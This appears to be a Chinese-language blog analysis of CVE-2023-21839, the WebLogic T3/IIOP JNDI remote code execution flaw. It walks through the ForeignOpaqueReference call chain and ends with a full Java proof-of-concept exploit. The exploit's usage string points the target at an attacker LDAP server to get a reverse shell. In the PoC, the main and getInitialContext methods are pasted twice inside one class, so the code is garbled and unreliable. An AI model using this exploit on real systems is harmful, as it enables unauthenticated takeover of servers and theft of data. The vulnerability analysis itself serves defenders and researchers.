CVE-2023-21839
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
我们按调用链顺序来解析:
🔹 Step 1:核心类结构
🧱 OpaqueReference
接口
1 2 3 4
| public interface OpaqueReference { Object getReferent(Name var1, Context var2) throws NamingException; String toString(); }
|
- WebLogic 中定义的接口,用于表示一种“可引用的远程资源”。
🧱 ForeignOpaqueReference
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class ForeignOpaqueReference implements OpaqueReference, Serializable { private Hashtable jndiEnvironment; private String remoteJNDIName;
public ForeignOpaqueReference(String remoteJNDIName, Hashtable env) { this.remoteJNDIName = remoteJNDIName; this.jndiEnvironment = env; }
public Object getReferent(Name name, Context ctx) throws NamingException { InitialContext context; if (this.jndiEnvironment == null) { context = new InitialContext(); } else { context = new InitialContext(this.jndiEnvironment); }
Object retVal = context.lookup(this.remoteJNDIName); context.close(); return retVal; } }
|
这里就是关键点:getReferent()
方法会直接使用 remoteJNDIName 发起远程查询,而我们可以控制这个地址!
🔹 Step 2:如何调用 getReferent()
?
调用发生在 WebLogic 的 WLNamingManager
类中:
1 2 3 4 5 6 7 8
| public final class WLNamingManager { public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException { ... else if (boundObject instanceof OpaqueReference) { boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx); } } }
|
只要传入的对象实现了 OpaqueReference
接口,WebLogic 就会自动调用它的 getReferent()
方法 —— 而这在内部是完全自动发生的,不需要攻击者手动触发。
🧪 利用原理
攻击者可以:
构造一个 ForeignOpaqueReference
实例,其内部:
remoteJNDIName
设置为一个攻击者控制的 LDAP/RMI 地址
jndiEnvironment
指定了使用什么 JNDI 工厂(如 com.sun.jndi.rmi.registry.RegistryContextFactory
)
将这个对象通过 bind()
方法绑定到 WebLogic 的 JNDI 服务中
调用 lookup()
获取该对象时,WebLogic 会自动调用 getObjectInstance()
→ getReferent()
getReferent()
方法内部执行远程 JNDI 查询,触发 WebLogic 去攻击者的服务器加载恶意类或反序列化对象
💥 远程代码执行(RCE)成功
📌 关键点分析
位置 |
描述 |
ForeignOpaqueReference |
这是实现 OpaqueReference 的类,允许构造带 JNDI 的远程引用 |
getReferent() |
漏洞方法,自动发起远程 lookup |
jndiEnvironment |
可以指定加载方式,如 RMI 或 LDAP |
remoteJNDIName |
攻击者控制的远程地址 |
WLNamingManager.getObjectInstance() |
在 JNDI lookup 中会自动触发 getReferent() |
context.lookup() |
发起远程访问,加载恶意对象,最终执行攻击者代码 |
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.lang.reflect.Field; import java.util.Hashtable; import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException { Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } public static void main(String args[]) throws Exception { if(args.length <2){ System.out.println(HOW_TO_USE); System.exit(0); } String t3Url = args[0]; String ldapUrl = args[1]; InitialContext c=getInitialContext("t3://"+t3Url); Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference(); Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f,env); Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); remoteJNDIName.set(f,ldapUrl); String bindName = new Random(System.currentTimeMillis()).nextLong()+""; try{ c.bind(bindName,f); c.lookup(bindName); }catch(Exception e){ }
}
private static InitialContext getInitialContext(String url)throws NamingException { Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } public static void main(String args[]) throws Exception { if(args.length <2){ System.out.println(HOW_TO_USE); System.exit(0); } String t3Url = args[0]; String ldapUrl = args[1]; InitialContext c=getInitialContext("t3://"+t3Url); Hashtable<String,String> env = new Hashtable<String,String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference(); Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f,env); Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); remoteJNDIName.set(f,ldapUrl); String bindName = new Random(System.currentTimeMillis()).nextLong()+""; try{ c.bind(bindName,f); c.lookup(bindName); }catch(Exception e){ }
} }
|